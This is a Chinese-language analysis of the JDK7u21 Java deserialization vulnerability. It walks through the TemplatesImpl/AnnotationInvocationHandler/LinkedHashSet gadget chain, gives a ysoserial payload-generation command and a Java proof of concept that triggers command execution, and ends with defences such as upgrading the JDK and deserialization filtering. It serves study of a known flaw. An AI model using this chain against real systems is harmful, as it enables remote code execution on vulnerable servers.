JDK7u21反序列化链利用分析
字数 1614 2025-08-22 12:23:36
JDK7u21反序列化漏洞分析与利用
0x00 漏洞概述
JDK7u21反序列化漏洞是Java反序列化漏洞中的一个经典案例,影响JRE版本<=7u21。该漏洞利用Java反序列化机制中的一系列特性,通过精心构造的恶意对象链实现远程代码执行(RCE)。
0x01 前置知识
Java三大核心概念
-
JVM(Java虚拟机)
- 类加载器:加载.class文件到内存
- 字节码验证工具:检查代码违规
- 执行引擎:字节码转机器码
- JIT:即时编译提高性能
- 作用:实现Java跨平台性
-
JRE(Java运行环境)
- JRE = JVM + 核心类库 + 工具(keytool等)
-
JDK(Java开发工具包)
- JDK = JRE + 开发工具(javac等) + 基础类库
JDK版本命名规则
- JDK 1.0 - 1.1.8 (1996-1999)
- J2SE 1.2 - 1.4 (1998-2003)
- Java SE 5.0 (1.5.0)开始新命名方式
- Java SE 6.0 (1.6.0)
- Java SE 7.0 (1.7.0) - 漏洞影响版本
- Java SE 8.0+ (1.8.0+)
0x02 环境搭建
工具准备
- IDE: IntelliJ IDEA/Eclipse
- 漏洞利用工具: ysoserial
git clone https://github.com/frohoff/ysoserial cd ysoserial mvn clean package -DskipTests
JDK安装
- 漏洞版本: JDK7u21及以下
- Mac安装:
brew cask install homebrew/cask-versions/zulu7
0x03 漏洞分析
漏洞利用链
完整调用链:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode()
LinkedHashSet.add()
...
Proxy(Templates).hashCode()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.hashCodeImpl()
String.hashCode()
AnnotationInvocationHandler.memberValueHashCode()
TemplatesImpl.hashCode()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
MaliciousClass.<clinit>()
Runtime.exec()
第一层: TemplatesImpl利用
核心代码:
TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("command");
calc.getOutputProperties(); // 触发点
触发流程:
getOutputProperties()调用newTransformer()newTransformer()调用getTransletInstance()getTransletInstance()调用defineTransletClasses()defineTransletClasses()通过ClassLoader.defineClass()加载恶意类Class.newInstance()触发静态代码块执行命令
关键点:
- 使用javassist动态生成恶意类
- 恶意类必须继承
AbstractTranslet - 通过
_bytecodes属性注入恶意字节码
第二层: AnnotationInvocationHandler代理
核心代码:
HashMap map = new HashMap();
map.put("f5a5a608", "foo"); // 特殊hash值
InvocationHandler handler = new AnnotationInvocationHandler(
Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);
利用动态代理机制:
- 创建
AnnotationInvocationHandler代理 - 设置
type为Templates.class - 代理对象的
equals()方法会调用equalsImpl() equalsImpl()通过反射调用Templates接口方法
第三层: LinkedHashSet触发
核心代码:
LinkedHashSet set = new LinkedHashSet();
set.add(templates); // 第一个元素
set.add(proxy); // 第二个元素
反序列化触发流程:
LinkedHashSet.readObject()读取元素- 添加第一个元素(templates)计算hash
- 添加第二个元素(proxy)时:
- 计算proxy的hash触发
hashCodeImpl() hashCodeImpl()返回与templates相同的hash- 触发
equals()比较 equals()调用newTransformer()触发RCE
- 计算proxy的hash触发
0x04 漏洞利用
生成Payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "command" > payload.ser
完整POC示例
public class JDK7u21Exploit {
public static void main(String[] args) {
try {
Object payload = new Jdk7u21().getObject("calc");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(payload);
oos.close();
byte[] bytes = baos.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // 触发反序列化
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x05 漏洞特点
- Payload小:仅3489字节,适合各种环境
- 无第三方依赖:仅使用JDK原生类
- 利用条件:
- 目标使用JDK7u21及以下
- 存在反序列化入口点
0x06 防御措施
- 升级JDK到7u25及以上版本
- 使用白名单验证反序列化对象
- 使用
ObjectInputFilter限制反序列化类 - 替换默认的序列化机制(如使用JSON)